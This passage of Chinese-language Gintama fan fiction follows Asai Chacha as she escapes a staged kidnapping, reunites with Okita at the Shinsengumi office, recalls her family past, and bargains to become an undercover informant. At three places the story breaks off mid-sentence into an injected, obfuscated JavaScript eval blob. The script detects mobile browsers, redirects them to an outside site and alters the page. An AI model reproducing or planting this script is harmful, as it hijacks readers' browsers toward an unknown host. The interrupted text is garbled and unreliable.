「你这个孽女,爸爸就要死了,你还在外面鬼混!」妇人情绪激动得浑身发抖,猛地摇晃着女孩的肩膀「我可是十月怀胎把你生下来的啊!我们含辛茹苦地把你养大,现在你竟然说不认识我!你的良心都被狗吃了吗!」 路人开始窃窃私语,几位「热心」的大婶甚至上前来劝说,让她们回家再好好谈,别在大街上失了体面。 「我真的不认识这个大婶。」女孩不耐烦地向旁人解释,但歌舞伎町的人早已见惯这类家庭纠纷,没人质疑事情的真相。 毕竟,爱凑热闹的人只在乎戏码精不精彩,从不关心真相如何。 「这个孩子真不懂事,居然这样对待自己的父母。」 「就是啊,现在的年轻人都不知道感恩,真是让人心寒。妈妈怀胎十月把你生下来,这么对待她实在太不应该了。」 围观的群众中响起此起彼落的指责。这些不明真相的路人都用谴责的眼神盯着那个金发女孩,彷佛她真的是个不孝女似的。那个妇人则趁机抹了抹眼泪,摆出一副心碎欲绝的模样。 她大概是没打算和他们耗了,她从口袋拿出手机按了几下,似乎打算报警。女人看穿她的意图,立即冲上前抱住她,一把将她的手机打落在地。 「现在还想叫那个男人来赶我们吗?」 手机掉落在地上发出清脆的碎裂声,荧幕立刻出现了蜘蛛网般的裂痕。女孩皱了皱眉,弯腰把手机捡了起来,按了几下都毫无反应。 围观的群众对此无动于衷,甚至有人冷嘲热讽地说这是她活该的。 就在这时,一道穿着黑色制服的身影从人群中走了出来。 冲田本想置身事外,毕竟这是人家的家事,但考虑到这个女生可能是土方在意的人,他决定上前看看要不要卖个人情。 况且,作为真选组一番队队长,维持治安本就是他的职责所在。 「这里发生什么事了?」冲田的手轻按刀柄,朝事件中心走近。围观的群众不由自主地退后,为他让出一条路。那妇人看清他身上的真选组制服时,脸色骤变,却仍死死拽着女孩的手不放。 他环视四周,眼角余光捕捉到一个鬼鬼祟祟的男人正向人群靠近,但在看见他后立即停下了脚步。 刚才只觉得有点不对劲,现在冲田更加确信这绝非普通的家庭纠纷。他留意到那男人的目光不时扫向附近的小巷,明显在寻找逃跑路线。这种行为,他在逮捕罪犯时已见过无数次。 他默默记下对方的长相、衣着和显著特征,转身拿起对讲机,低声向附近巡逻的队员交代。 他这才转向那个被纠缠的女生。当看清她的脸容时,他顿时明白为什么土方会对这个女孩子如此在意。 不只冲田对面前的人感到意外,千茶也一样。土方之前只说过他们是公务员,直到看见冲田穿着真选组制服出现,她才惊觉,那群自称乡下流氓的笨蛋原来当上了警察。 「只是些家务事,我们一家人的小争执罢了……」妇人挤出一个尴尬的笑容,声音心虚地说道,同时不安地打量着四周围观的群众。 可她并不知道,面前这位警察先生,可是和她缠住的少女是多年的相识。 「警察先生,我要报案!这个大婶突然冲过来抓住我,声称自己是我母亲,还想强行把我带走。」千茶眨着眼睛,声音微微颤抖,脸上流露出一丝惊慌和无助,边说着边挣开女人的手,向冲田的身后躲了躲。 妇人听到这番指控后脸色瞬间变得煞白,慌乱中提高了音量「不、不是这样的!我真的是她的亲生母亲啊!这个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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「是、是的...」男人结结巴巴地回答,眼神闪烁不定。 「那么」冲田的语气骤然变得锐利「你不妨解释一下,为什么刚才一直躲在人群后方?若真是你的妻子在闹事,身为丈夫不该立刻上前阻止吗?还有,为什么我的同僚会在后巷找到你呢?」 男人被这连珠炮般的质问打得措手不及,脸色瞬间变得惨白,豆大的冷汗不断从他的额头滑落。他张了张嘴,却一个字也说不出来。 冲田没耐心和他们耗时间,眼见围观的人越来越多,便直接把他也铐上了。 「你们替我把这两个人都带回去吧」冲田向队员们下着指示,然后转向千茶「还有别的事吗?这位小姐。」 千茶点点头,指着刚才有份劝她跟大婶回去的好事者,还是摆出一副怯懦的受害者姿态「刚才这几个人一直在劝我跟那个诱拐犯回去,我想他们可能是一伙的。」 冲田瞥了一眼那几个好事者,他们在听到这番指控后纷纷涨红了脸,急忙解释自己只是出于好心。不过冲田并没有理会他们的辩解,只是淡淡地说了句「带走」,队员们便立刻上前把他们一并逮捕。 人群渐渐散去,只留下一些好奇的路人远远地看着。那几个被抓的好事者一路上都在不停地抱怨和求饶,说自己只是好心帮忙而已。 千茶跟在冲田身后,步伐轻快地走着,脸上已经看不出刚才那副楚楚可怜的模样。冲田注意到她不时低头看着手中那部已经报废的手机。 那对诱拐犯试图逃跑,但看到冲田掏出大炮向着他们后便打消了念头,转而向刚才企图诱拐的女孩求情。 千茶冷眼瞥向他们,晃了晃手机「故意损毁他人财物,还试图恐吓和诱拐我,导致我在心灵和财务上都受到很大的创伤…这样吧,给我五十万赔偿的话,我可以考虑不提告。」 「五十万?!你还不如去抢!」 她自顾自地拉起袖子,露出刚才被女人指甲弄伤的地方「要不然我可以现在就去验伤。」 那对夫妇听到这番话,脸色变得更加难看,眼睁睁看着自己的计谋被对方玩弄于股掌之间。 到了屯所后,冲田将那对夫妇交给其他队员处理,自己则准备带千茶去做笔录。 她把玩着手上刚迫着夫妇二人签下的欠单,侧过头看向冲田。 「警察先生,要是我不打算提告的话,是不是就可以回去了?」 「不行呢,至少要做个笔录。」冲田说道「你也不想让警察先生为难吧。」 「那么至少去个能吃松饼的地方吧。」 9. 回忆就像深夜求偶的猫,扰人清梦 随着气温日渐回暖,初春的夜晚瀰漫着湿意。 金发少女独自坐在庭院的老树下,仰望着满天繁星的夜空。耳边迴盪着流浪猫求偶的叫声,她的思绪也随之变得紊乱。 虽然文人雅士总爱赞颂这个万物復甦的季节,但她不仅不喜欢春天,甚至可以说是厌恶。 空气中瀰漫着黏腻的感觉,清晨总是迴盪着鸟鸣与猫叫。 还有那些无可避免的离别。 浅井千茶从小就没什么朋友。 大哥在世时,她每天都会到寺子屋上课。因爲家世显赫,她周围不乏谄媚之人,这些人表面享受与她交好带来的利益,背地里却在说她的闲话。 尤其是那些只比她大几岁,却总爱摆出一副大人姿态的少年。 他们总爱拿她的家人取笑,说她的大哥背叛家族、二哥是个废人、父母平庸无能。 而在那些人眼中,她不过是张漂亮的脸蛋——女孩子终究要嫁作人妇的。 她讨厌这些自以为是的蠢蛋,尤其是当他们用同一张嘴来奉承她时,她总想耍点坏心眼,仗着家世让人把那张嘴缝上。 即便他们说的是实话,但也轮不到这些杂鱼来对她的家人指指点点。 然而,理想与现实从来都不能共存。为了浅井家的名誉,她只能装作充耳不闻,每日带着那张完美无瑕的笑脸,和杂鱼们一起上那些索然无味的课堂。 直到后来,大哥战死的消息传来,一个不知好歹的混蛋竟对她说「恭喜」,说什么家族叛徒终于被解决了。她第一次抛开从小学习的礼教规范,当着众人的面,痛揍了那个不知天高地厚的傢伙一顿。 自此,她再也不必踏入寺子屋一步。 但她依然保持着繁重的课业,只是从此摆脱了那些碍眼的跟班。 与爽朗的大哥相反,二哥是个温润的人,只可惜身体从小就很虚弱。他常常自嘲地说,自己是不该被生下来的,只是被医疗科技强行留在人世。 儘管浅井家在她父亲的管理下日渐衰落,但在幕府中仍有一定地位。大哥为了参战而与家族断绝关係后,继承家业的重担便自然落在次子身上。然而,以二哥那脆弱的身体状况,医生们都不敢保证他能活过二十岁。 分家认为这是夺权的绝佳机会,于是买通了僕人,在他的日常用药中掺入了慢性毒药。 这群蠢货却没想到,像他这种每週都要做例行检查的药罐子,一旦身体里出现特殊成分,立刻就会被检验出来。 更讽刺的是,那个被下毒的蠢货不但没有揭发此事,反而与他那对白痴父母将计就计,让他继续充当手足的挡箭牌。 「反正我活不了多久。倒是小千,她应该拥有更美好的未来。」 长子脱离家族,次子「废了」,浅井家只剩下一个女儿。 浅井夫妇深思熟虑后,决定再添一个孩子。 于是,某年的春天,浅井家迎来第二个「女儿」。 把春当作女孩子养是次子的主意。这或许不能让他完全避开纷争,但至少能让他好好活下去——就像千茶一样。 看着儿子日渐衰弱的身躯,笨蛋父母最终也默许了这个决定。 千茶最初并不喜欢这个孩子,一方面是春出生后,父亲把注意力都放在他身上,她和二哥就像被成了弃子一般;另一方面,她亲眼看着母亲在生产后恢復缓慢,精神日益紧绷,身体也逐渐衰弱。 她无法理解大哥和二哥为何如此疼爱她这个抢走父母身心的妹妹。 大哥说「我倒没想那么多,但谁会讨厌那么可爱的妹妹?」 二哥说「看到蹦蹦跳跳的小千,我就觉得胃里有种暖洋洋的感觉。」 那时她尚年幼,未能理解哥哥们的心意。 那年,春刚满一岁。 某个湿冷的春晨,不寻常的喧闹声惊醒了在外公家留宿的千茶。她披了件外衣,循声来到后院,地上躺着被白布复盖的大哥。他的衣衫被血水染成褐色,身躯已然冰冷,脸上却仍带着她熟悉的微笑。 彷彿头顶的半片天空轰然崩塌,胃部初次传来如刀绞般的剧痛。 把大哥送回来的人,是他生前曾邀请到外公家中作客的战友。 遗物是一把沾满血迹的佩刀,以及他至死仍紧紧拢在怀中的照片。 他们说大哥在生命最后一刻仍在念着她。当千茶接过遗物时,双手不住颤抖,但她自小所受的教育不允许她在外人面前失态。 在战友们协助下,大哥的遗体安葬于津田家墓地,但父亲始终未曾前去祭拜。 在世人眼中,大哥是家族的耻辱。父亲选择以浅井家家主的立场自处,意味着他必须放下身为人父的情感。 她享受着家族带来的富足生活,深知自己没有资格去怪责父母。更何况,父亲并非表面上那般无情—每个月总有一天,他会把自己锁在房里痛饮,酒醉后便发出孩童般的啜泣声。 母亲在诞下春后,身体迅速衰弱。家族内斗不断,她担心会有意外发生,只好亲自照顾新生儿,导致身子每况愈下。当得知大哥战死的消息时,她终于精神崩溃,一病不起。 后来母亲虽然稍有好转,却很少再理会千茶,只把全副精力都投注在春身上。偶尔过问千茶的课业时,总是叹息着: 「为什么小千不是个男孩子呢??」 或者 「小千是个女孩子真是浪费了。」 在母亲卧病期间,春主要由千茶和二哥轮流照顾,直到外公派来了几个值得信赖的佣人。 每当千茶看着婴儿床上的春,视线落在那柔软纤细的脖子上时,脑海总会不自觉地浮现一个念头:把这东西折断吧。 重新投胎吧。 每当她试着压抑这个念头,胃里便翻腾不已,阵阵噁心感涌上喉咙,彷彿在逼迫她直视内心的丑陋。 每一晚,她都会被恶梦惊醒,那无法向他人言喻的罪恶感如同无形的绳索,紧紧缠绕着她的心脏,无论如何挣扎都无法摆脱。 随着时间流逝,春到了牙牙学语的年纪,千茶开始刻意避开与他接触,但二哥却像是故意的,总能找到机会让她和春独处。不同于千茶的迴避,春十分喜欢这个姐姐,每次见到她都会绽放灿烂的笑容,用小小的手紧紧握着她的手指。 春第一次完整说出的话是「姐姐」,那是她有記憶以来第一次哭得如此崩溃。 教导春说话的二哥手足无措地安慰着她,而她如同失去了听觉般,对周遭的一切声音充耳不闻,只是一直在哭。 直到很久以后,她才听见二哥同样带着哭腔。 「别担心,小千。二哥会给你们一个美好的未来,你们一定会好好的。」 二哥想必早已察觉到她内心那些肮髒的想法,但他从未批评过她一句。或许,他同样在无人的夜裏独自挣扎过。 春的到来宛如一道温柔的阳光,照亮了她内心最深沉的黑暗。 她愿意为了保护这个孩子付出一切,正如同大哥二哥曾用生命守护着她那般。 于是,她决定拾起大哥再也无法握紧的刀。 作为浅井家的长女,唯有在远离京都的外公家,她才能暂时卸下那些繁重的身分,稍作喘息。在这里,她无需担忧那些不知从何而来的暗箭,能脱去繁複的衣饰,不必时时谨守礼教。儘管课业仍须继续,但至少她能尽情挥舞手中的木刀。 佣人们对她的奉承从「大小姐真漂亮」变成「千大人真帅气!」 在津田家,受了委屈可以直接动手反击,不必忍气吞声;遇到流浪的猫狗,也能毫无顾忌地捡回家养,没人会对她说那些闲言碎语。 她只是那个随心所欲的千,不必再扮演浅井家完美的大小姐。 她可以爬树、练剑,或是和男孩子打架,即使被外公撞破他也只会一笑置之「这才是小孩子应该有的样子。」 某年夏天,她在一座废弃农场里发现了一群迁徙的候鸟。牠们甚至不知道自己的目的地在哪里、不知天空有多高,却已毅然踏上旅程。 她不知道是被牠们那愚蠢却清澈的目光打动,还是一时兴起的好奇心使然,她把这群鸟儿带回了家。 那是她第一次出于自愿地尝试与家人以外的人建立关係。 他们在她家住了下来,偶尔也会让她觉得有点吵,可是渐渐地,他们成为了她生活中不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冲田总悟低头凝视着手中的汽水罐,感受着掌心传来的冰凉金属触感,斟酌着该如何开口。 「喂。」 「怎么了?」 指甲无意识刮着金属表面,目光始终停留在罐子上。 「你要和我们一起去京都吗?」他的声音轻柔却带着几分期待。 过了很久,久得连猫叫声都已沉寂,他依然没有等到她的回应。后来回想起来,那大概是他人生中最有耐心的一次。 最后,他终于忍不住转头看向她。月光轻洒在她的脸庞上,在她眼眸中映出点点星光。 她欲言又止,彷彿有千言万语想要倾诉,最终却只是轻轻地摇了摇头。 「这样啊。」他并不意外,低着头喝了口汽水,掩饰眼底的失落。 良久,她才缓缓开口,像是在心里反复斟酌着每一个字。 「谢谢你邀请我,我很高兴。」她轻声说道,声音几乎被夜风吹散「可是我家那些蠢货不能没了我。」 她低下头,手指轻轻抚过已经空了的汽水罐。 「再说了,我也想看看你们这群无业游民能在京都闯出什么名堂。」她的语气虽然戏谑,却掩不住那股淡淡的寂寥。 夜风轻拂,掀动她散落在肩头的长发。 冲田总悟凝视着她的侧脸,心头涌上一阵难以言喻的烦闷。她偶尔会像现在这样,流露出不符年龄的忧愁与哀伤,而每当看见她这副模样,他就会感到格外讨厌。 他更喜欢她恶作剧得逞时那纯粹的开怀大笑。 「喂。」她凝望着星光闪烁的夜空,在他给予回应前已经轻轻靠了在他的肩上「我喝多了,有点晕,借你肩膀靠一下。」 又在胡说八道了,汽水哪会醉人的。 「不行,我也喝了很多。」 千茶完全无视他的推拒,反而更加得寸进尺地往他身上靠去。冲田赌气地闪躲着,两人在打闹之间跌跌撞撞,最后一同倒在柔软的草地上,仰望着满天繁星。 他们沉默了好一阵子。夜风带来草地与潮湿泥土的清香。时间彷彿静止在这一刻,寂静的夜里只能清晰听见彼此的呼吸声。 「总有一天,等我不用再管那些笨蛋的时候,我会去找你们的。」千茶说。 「京都那么大,你觉得你找得到吗?」 「那就要看你们能不能出人头地了。」 「哦,换句话说,如果我们出人头地了,你就没藉口说找不到我们了。」 「嗯。所以,下次再见的时候,一起去喝一杯吧,喝能真正醉人的酒。」 10. 一起干过这种事和那种事的男人都是过命之交…… 时间回到当下,真选组的屯所裏。 「话说回来,你来江户多久了?」冲田靠在椅背上,饶有兴致地问。 「有一段时间了,不过搬到歌舞伎町是最近的事。」千茶一边切着松饼,一边漫不经心地回答。 这个人明明答应了和她去能吃松饼的店裏谈,但最后还是把她带进了屯所的问话室,然后让食堂的人准备松饼。 二哥说得对,男人都是爱骗人的坏东西,就算是故友也没例外。 千茶将沾满枫糖浆的松饼送入口中,甜味在舌尖上漫开。虽然地点不如预期,但她不得不承认,这松饼的味道确实不错。 现在的公务员伙食都那麽好了吗。 冲田总悟面前只剩下一个空碟子,他那份松饼早已吃光。闲着没事的他前倾着身体,单手撑着下巴,慵懒的目光细细打量着她的脸。 那张精緻的脸庞与他记忆中别无二致,只是随着岁月更添几分艳丽。她嘴边那颗小痣,还能隐约看出被化妆品刻意遮掩的痕迹。 「怎样?我长得漂亮吗?」注意到对方的视线,千茶故意问道。 「还过得去吧,毕竟是茶茶嘛。」他的目光在她脸上停留了片刻,语气中带着几分玩味。 根据她刚才填写的个人资料,她的本名姓浅井。 浅井茶茶……这不正是历史上那位恶女的名字吗? 还真会取名。 「我一直在想是哪个厚脸皮的女人给自己取了这个名字,没想到就是你这个不要脸的啊。」他毫不客气地嘲讽。 多年没见,没想到他这张嘴倒是狠毒了不少。 千茶得意地笑笑,将最后的松饼送进嘴里,细细咽下。随后端起茶杯轻啜一口热茶,冲淡停留在喉咙间的甜腻。 「嘛,凭我这张脸,只要编个凄凉点的身世,那些大叔自然就会掏钱了。真该谢谢我母亲的基因。」 她轻描淡写地说道,冲田听着却皱了皱眉,一时语塞。 在这个时代,一张漂亮的脸蛋有时反而成为负担。他无法判断这份美貌对她而言,究竟是王牌,还是枷锁。 只能希望是前者。 自从确定她就是那个让土方「神魂颠倒」的酒家女,一股难以形容的闷气便萦绕在他心头。除了失去捉弄土方的乐子,或许还掺杂着一丝对她的失望。 印象中的千是个倔强的人,当时她被一群混混围攻,即使已经筋疲力尽,举刀指向他们时腰板仍然挺得笔直。她的刀法如同她明确的喜恶一般乾脆利落。就算后来他们熟络了,挑衅打闹时的言行间,偶尔仍会带着几分上位者的高傲。 冲田总悟当初会与她成为好友,无疑是被她那份傲骨所吸引。 谁料到那个当年与他立下雄心壮志、相约在出人头地后一同对饮的人,如今却走上一条截然不同的道路,放下了昔日的傲气,在灯红酒绿的街道上卖笑。 当年相约要在京都的顶峰相会,如今却在江户最混乱的街道重逢。 说起来真是讽刺。 他们都没能守住约定,但命运似乎执意要让他们实践承诺。 即使觉得她该有更合适的生存方式,他也没有立场去批评她的选择。在这乱世中,每个人都有自己的求生之道。 而他,冲田总悟亦算不上什麽正人君子。 名字好听一点是公务员,但谁都知道他们就是替幕府处理肮髒事的走狗,为了维持那岌岌可危的秩序,手上沾染的鲜血与罪孽早已不计其数。有时连他自己也分不清,在正义的遮丑布下,是否也掺杂了嗜血的私慾。 相比之下,她选择的路反而更为清白。只是那个曾经一身傲骨的千,要是看见现在的自己,内心必定充斥着难以消解的不甘。 警队高官、当红公关,听着光鲜,但到头来,谁也没能得到幸福。 什麽未来可期,都是年少时的空谈罢了。 「説起来,你看到我这样子一点都不惊讶呢。上次遇到土方先生,他还问我是不是切了。」 千茶全然没察觉到少年内心的起伏,她整理好吃完的餐具和碟子,学着他的姿势撑着脑袋,用熟稔的语气与他搭话。 听她提起土方的名字,冲田的思绪被拉回现实。 「土方先生对女孩子说了那麽失礼的话,你应该让他当场切腹。」 「对吧,所以我打算下次见面给他来一个阿鲁巴,你要加入吗?」千茶悠悠地説着,眼里闪过一丝狡黠。 「随时奉陪。」 「你一直都知道我是女生吧?」她问道,目光中带着几分探究的意味。 他不置可否地耸耸肩,还是平日那张扑克脸。 冲田总悟从未向别人提起,但他很早就察觉到千是个女孩子。 她比他大一岁,那时长得也比他高一些。或许正因如此,那些大人都没注意到这个吃得饱穿得暖的小少爷,骨架异常纤细,鞋码也小得不像发育期的男孩子;明明家境富裕,却总穿着宽松而非合身的道服;即使在炎炎夏日,满头大汗也始终不肯脱去上衣;再加上她平日刻意迴避与他们共浴同眠…渐渐地,他开始察觉到不对劲。 后来有天,他亲耳听见千的妹妹在无人处喊她姐姐。 少年冲田对好友的隐瞒并无任何芥蒂,过了会又找她一起去捉弄土方。 他也从没打算戳破,或许是享受着独自掌握秘密的乐趣,又或许是想珍惜这个得来不易的朋友。 反正,千不论是男是女,她在他心中的地位都不会有改变。 「你以后是打算在江户定居了吗?」 他随手拿起被他们搁在一旁的文件,那是她刚才等待松饼时填写的个人资料和证供。翻看之下,他发现她的住处离屯所仅有十五分钟路程,还是栋配套和环境都相当不错的公寓。 「嗯,我还挺喜欢这个地方的。」 冲田挑挑眉「喔,这样説的人明明刚才差点被诱拐了。」 「对呢…」她眨眨眼睛,故意拉长语尾「不过这里的警察先生都很可靠,所以完全不用担心呢。」 千茶抬手拨弄了下耳边的发丝,那副故作妩媚的模样倒是挺像那麽回事。 冲田只是轻轻瞥了她一眼「你这套对我没用的,还是留给店裏那些大叔吧。」 「真是不解风情呢。」她説着,手指轻轻地敲打着桌面。 翻阅完整份证供后,他再次将文件搁在一旁。 「不过既然来江户定居,即是说你终于放下家里那些笨蛋了?」 她迟迟未答,只是垂下眼眸,默默端起茶杯轻啜。浏海遮住了她的双眼,让他看不清她眼中的神色。 「嘛,毕竟最让人放心不下的都已经死光了。」她轻描淡写地一句带过,冲田的眼神瞬间暗了几分。 搞砸了。 还是以最糟糕的方式。 「抱歉。」 失去至亲那种心如刀割的痛感,他最清楚不过,因为在不久前他也经历过一次。 「没关係,反正那些蠢货活着也只会成为我的负担。」千茶说着,拿起茶壶,为自己和冲田的茶杯都添了点热茶。 「死亡对某些人来说,或许是一种解脱呢。」她继续说,语气虽然冷漠,目光却一直迴避与他对视。 他向来都不是温情派,即便在当下,仍然说不出一句安慰的话。再说,从她那毫无温度的语气看来,她不需要、也不喜欢那些虚伪的同情和关心。 无论立场和外貌如何改变,她骨子里依然是当日那个倔强的少女。不需要任何人的庇护,凭自己的力量开闢前路的千。 感觉她已经先他一步,成为一个立派的大人了。 还真让人不爽。 「所以,你现在是一个人生活吗?」 她摇摇头,这次终于和他对上了眼。 「我现在和妹妹们一起住。」 原来她还有家人在世。 挺好的。 「名字是春还是秋来着吧?」他记忆裏浮现出一个模糊的小女孩身影。 自从那天在街上偶遇,近藤「帮」了姐妹俩一把后,那个小女孩就特别喜欢黏着近藤。后来还有人开玩笑说,要让近藤等个十五年再来提亲。当然,这不过是长辈逗孩子的玩笑话罢了。 「是春,另外还有个小的,叫菊。刚满五岁。」提到两个妹妹时,千茶的表情渐渐柔和下来。 冲田听着,在心里默算了一下,若有所思地点点头「小的五岁,大的也就十二、三岁吧……看来你也不容易呢。」 「虽然也会有累的时候,但能拥有值得守护的珍宝,是件很幸福的事。」她说,眼裏的温柔让他一时看得失神。 只是,他这次很幸运地在被她发现之前就收回目光。 明明刚才和他斗嘴时,还是看着挺聪明利索的一个人,怎麽谈起妹妹就变成了个笨蛋家长。 果然,姐姐们都是大笨蛋。 「要是有什麽需要帮忙的地方儘管说,土方会去帮忙的。」 千茶意外地看向他「欸?难道说,他现在成了你可以任意指派的下属吗?」 这句话显然戳中了他的痛处,他的脸色瞬间阴沉下来,却又很快恢復成那副惯常的笑脸。千茶立刻意识到自己说错话,看来情况应该恰恰相反。 「没关係,等他死了,副长的位置就是我的了。」 「副长?所以说?他现在是你们真选组的副长?」 「如果没有出什麽意外的话,死前都还是呢。」 冲田注意到她在得到确认时,瞳孔微微扩张。随后,纤细的手指缓缓地缠上他搁在桌子上的手,若有似无地来回轻扫,带着几分暧昧。 「看着我们的交情份上…你说,可以动用一下成年人的关係,把我这份供词删掉吗?」她的声线听起来比刚才柔弱了几分。 「哦……成年人的关係啊,例如呢?」冲田眯起眼睛,嘴角勾起一抹渗着冷意的笑。 能遇到昔日的好友是一件很值得高兴的事,但被好友利用又是别的说法了。 「这个嘛…」她站起身来,绕到他身旁,倚着桌子弯下腰,在他耳边低语道「我给你这个数字,你就替我把这份报告压下来嘛。」 她的手指轻轻沿着他的手背划圈,写下一个数字。 原本他以为她会用美色来勾引自己,心里还有点不爽,没想到她搞这样一齣竟然是和他谈钱,反倒让脑补得太多的自己显得好笑。 冲田挑了挑眉,将她写的数字收进眼底。这种毫不遮掩的贿赂手法,倒很有幕府那些大户的作风,不愧是世家教导出来的大小姐。 不过,让他更在意的是,她为何如此执着于不留档案、不提告。她打从一开始就极力避免留下任何纪录,就像一隻生怕留下踪迹会被猎人追捕的动物。 「要是想让警察先生站在你这边,总该先好好解释原因吧?」 千茶与他对视良久,从他眼中读出不容反驳的坚决,最后轻轻抿唇,认命般垂下头。 「我之所以决定在歌舞伎町,其实都是为了一个男人…要是被家里的亲戚发现我在这里,他们一定会强行把我带回去…」 她说着,摆出刚才在人前那副受害者的姿态,只差几滴眼泪就能让他信而为真。 前提是,冲田没有亲眼目睹刚才街上发生的那一幕。 要是她编一个好一点的故事,他也许会稍微配合一下,但她现在这个藉口显然就是照搬刚才那个大婶的说词,连骗他都懒得费心思。 「你觉得我会相信吗?」冲田叹气道。 「我从来都不撒谎。」 对,她不喜欢撒谎,但作为大家族培养出来的人,她那套话术可比谎言更具迷惑性。 冲田眯起眼睛,仰着头细细打量她的神情,试图从她脸上分析出话语中的真伪。 眼前的人并非容易糊弄的土方十四郎或近藤勋,而是冲田总悟。对此,让千茶感到非常可惜。 「我是因为逃婚才从家裏跑出来的,要是被京都那些人知道我藏在这里,他们一定会立刻把我抓回去。」她的语气很平静,一边说话一边低头整理衣袖。 「房子是朋友签的租约,妹妹们的学校没有太严格的入学资料要求,工作的地方也没要求身份证明文件…」她接着说。 歌舞伎町藏着许多不能见光的人,所以这里的人向来不爱过问别人的私事。 这便就是她选择这里的原因。 这次,冲田能看得出她説的都是真话,但总觉得背后还有更多隐情。不过,既然她愿意坦白到这个地步,暂时也只能接受这个说法了。 毕竟阔别多年,也不能一下子就强求对方无所不谈。 「对方是个很糟糕的人吗?」他随口问道。 她没有正面回答,而是话锋一转「你猜我为什麽会改茶茶这个名字?」 浅井茶茶在父母离世后,被迫嫁给敌对势力的丰臣秀吉,而当时他已年过五十。 「用来提醒自己不要重蹈那位复辙吗。」他像是自言自语般。 她没有回话,只是低头笑了笑。 「嘛…既然警察先生那麽清高,不喜欢这个,我们换另一个条件吧?」她说着,还不忘用手指比圈圈,摆了一个金钱的手势。 「喔…听上去倒是有些意思。」 事实上,他从一开始就没打算在这个阶段起诉这两人。一来只是拐带「未遂」,二来也没有确凿证据能证明他们进行人口买卖的交易。 况且这刚好和他最近在调查的案子有关联,难得有这条线索,自然不能让它断掉。 就在前段时间,真选组接到情报,有一个人口贩卖组织在各地拐卖女性。他们的手法包括像刚才千茶遭遇的那种,假装是寻找叛逆离家的女儿、妻子或姐妹,利用群众的冷漠和看戏心态来完成计划。 真选组一直在计划该如何瓦解这个组织,也考虑过派卧底深入进行调查,可是他们组裏连一个女孩子也没有,至于经常被委派的山崎也因为有别的案子在身,而暂时难以抽身。 他原本也考虑过委託万事屋,但土方多次警告他不要把真选组的职务交托市民。再加上考虑到他和神乐的关係,除非到了走投无路的地步,他都不愿麻烦那个傢伙。 论及卧底人选,眼前这个女孩当属不二之选。她不仅脑袋转得快,也具备足够的自保能力。就算她的刀法生疏了,不如当年,他也深信她的实力仍然超过组裏过半的成员。 「这样吧,条件交换。只要你答应帮我一个忙,我就把有机会暴露你身份的消息都压下来。」 「直到永远吗?」 「直到你做完你要做的事。」 她要做的事吗…… 「我要做的事就是把两个妹妹好好养大呢。」 「是、是。警察先生没兴趣知道你的人生规划。」 「那麽,警察先生能告诉我,具体想我做什麽吗?」 听完事情的来龙去脉,千茶静静地在心裏权衡起利弊。 那些女孩子确实可怜,但她从来就没什麽英雄情结。不过,若能给幕府警察卖个人情,那倒不坏。至少她将来要是有个什麽不测,也能道德绑架这些傢伙,让他们代替自己,好好照顾家裏两个小的。 感觉还是利多于弊的。 「我接受这个条件。」 「那麽就合作愉…」 他朝千茶伸出手,还未握上就被夺门而入的人给打断。 「谁让你擅自做决定了?」 熟悉的声音在耳边响起,两人门口的方向看过去,土方十四郎正站在门前,而他身后还站着同样身穿真选组制服的近藤勋。 「你这傢伙,又在打什麽主意?」土方大步走进来,严厉的目光在冲田和千茶之间来回扫视,最后落在冲田身上。 「土方先生,你不是应该在巡逻吗?」冲田问道,接着朝近藤的方向喊「近藤先生,我要举报土方擅离职守~」 「我本来是在巡逻的,但我听说你捉了两个诱拐犯回来」土方説着,目光落在千茶身上「你怎麽会在这里?」 「还不是你答应了人家会过来找我喝酒,但一直也没来,我挺担心的,便过来看看了。」她柔声道,带着点撒娇的意味。 土方似乎被她这番话噎住了,脸上闪过一丝尴尬。近藤在一旁轻咳一声,打起圆场「啊,这段时间确实挺忙的。」 「你打什麽圆场!」土方瞪了近藤一眼「别弄得我像个辜负她的坏人一样!」 说实话,他确实想过找她喝酒,毕竟看她赚钱也不容易,作为朋友,偶尔去帮衬,提点营业额也好。 但他前思后想,还是未能接受昔日的旧友原来是个女孩子,每当回想起过去的种种,总觉得那时的自己实在太失礼了。 更重要是,这个女的还觉得让他难堪事件很有趣的事。 「说起来,我们很久没见了,近藤先生。」千茶把脑袋转向近藤,朝他眨眨眼睛。 他摸了摸后脑勺,露出爽朗的笑容「啊啊,是啊!上次在smile见到你的时候都没能好好聊天呢,我听阿妙小姐説过你的事,你是茶茶小姐对吧?」 话音一落,在场的三人霎时间都安静了下来。 空气中瀰漫着一丝诡异的沉默。千茶笑得温柔,却让人有种不寒而慄的冷意。 她的目光在近藤脸上停留了片刻「近藤先生该不会是把我的事都忘记了吧?」 近藤一脸茫然地看着她,像是默认了她啲猜测。 「果然男人都是寡情薄意的东西呢…」她落寞地叹了口气,低垂着眼帘,像是个被辜负的糟糠妻。 土方看着这一幕,嘴角微微抽动。 真不知道该可怜近藤,还是感谢他代替自己承受这份难堪。 「明明我们以前都做过这种事和那种事……就连近藤先生比起四角裤和三角裤,更喜欢兜档布这件事,我可都记得一清二楚呢。」 近藤听到这话,脸色瞬间涨得通红,连忙摆手解释「等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940193|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、等一下!我完全不记得有过这种事啊!我可没和谁干过那种事啊!」 接着他还转过头看向土方和冲田,希望他们能帮忙脱身「你们会信我吧,十四!总悟!」 「那些事我也记得清清楚楚呢。」冲田淡淡地劝喻「还是认了吧,近藤先生。」 